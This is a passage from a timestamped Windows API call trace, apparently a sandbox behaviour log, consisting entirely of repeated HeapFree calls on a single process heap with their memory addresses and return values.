hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.829] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.829] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.829] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.830] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.830] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.830] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.831] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.832] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.832] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.833] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.833] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.833] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.833] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.834] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.834] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.834] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.834] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.994] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.995] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.995] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.995] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.995] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.996] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.996] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.996] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.997] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.997] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.997] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.998] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.998] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0150.998] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.998] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0151.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42bdde8 | out: hHeap=0x660000) returned 1 [0151.001] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0151.001] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0151.001] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.002] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.011] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.011] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0151.011] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.011] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.011] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.012] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0151.012] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0151.014] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.015] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.015] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.015] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.015] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.015] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.016] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.016] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.016] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.016] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.016] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.016] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.017] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.026] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.027] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.027] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.028] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.029] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.029] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.029] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0151.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0151.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0151.033] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.033] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0151.033] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0151.036] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0151.037] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42bdde8 | out: hHeap=0x660000) returned 1 [0151.037] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0151.037] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.037] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.038] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0151.038] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0151.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.039] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0151.040] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.040] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.041] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0151.041] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0151.353] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0151.354] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0151.354] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0151.354] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0151.354] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.355] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0151.357] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0151.359] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.361] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.362] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0151.363] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0151.363] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0151.365] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0151.365] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0151.365] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0151.365] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0151.365] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0151.365] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0151.366] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0151.366] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0151.366] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0151.369] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0151.370] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0151.372] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.372] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0151.372] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0151.373] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.373] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0151.373] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.373] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0151.373] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.373] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0151.374] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.374] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0151.374] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.374] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0151.374] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0151.374] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0151.374] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0151.374] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0151.376] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0151.376] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0151.376] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0151.377] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0151.377] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0151.377] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0151.377] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0151.377] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0151.378] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0151.378] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0151.378] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0151.378] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0151.378] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0151.379] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0151.379] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0151.380] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5148 | out: hHeap=0x660000) returned 1 [0151.381] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0151.381] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5148 | out: hHeap=0x660000) returned 1 [0151.385] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0151.731] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42adde0 | out: hHeap=0x660000) returned 1 [0151.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0151.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0151.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0151.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0151.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0151.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0151.735] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0151.735] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0151.735] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0151.736] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5148 | out: hHeap=0x660000) returned 1 [0151.739] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0151.739] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0151.739] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0151.739] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0151.740] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5148 | out: hHeap=0x660000) returned 1 [0151.742] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0151.742] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0151.742] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0151.743] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0151.743] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0151.743] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0151.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5148 | out: hHeap=0x660000) returned 1 [0151.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0151.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5148 | out: hHeap=0x660000) returned 1 [0151.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5148 | out: hHeap=0x660000) returned 1 [0151.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0151.749] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0151.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0151.752] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0151.756] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0151.757] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0151.758] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0151.760] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0151.761] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0151.762] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0151.764] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.484] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.485] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.487] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.489] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.492] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.493] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.495] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.496] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.497] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.499] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.500] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.501] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.504] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.505] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.507] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.508] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.512] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.514] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.515] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.992] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.993] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.994] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.995] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.997] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.998] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0152.999] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.002] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.003] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.004] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.005] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.007] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.008] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.009] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.010] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.012] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.013] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.014] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.015] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.017] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0153.018] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | 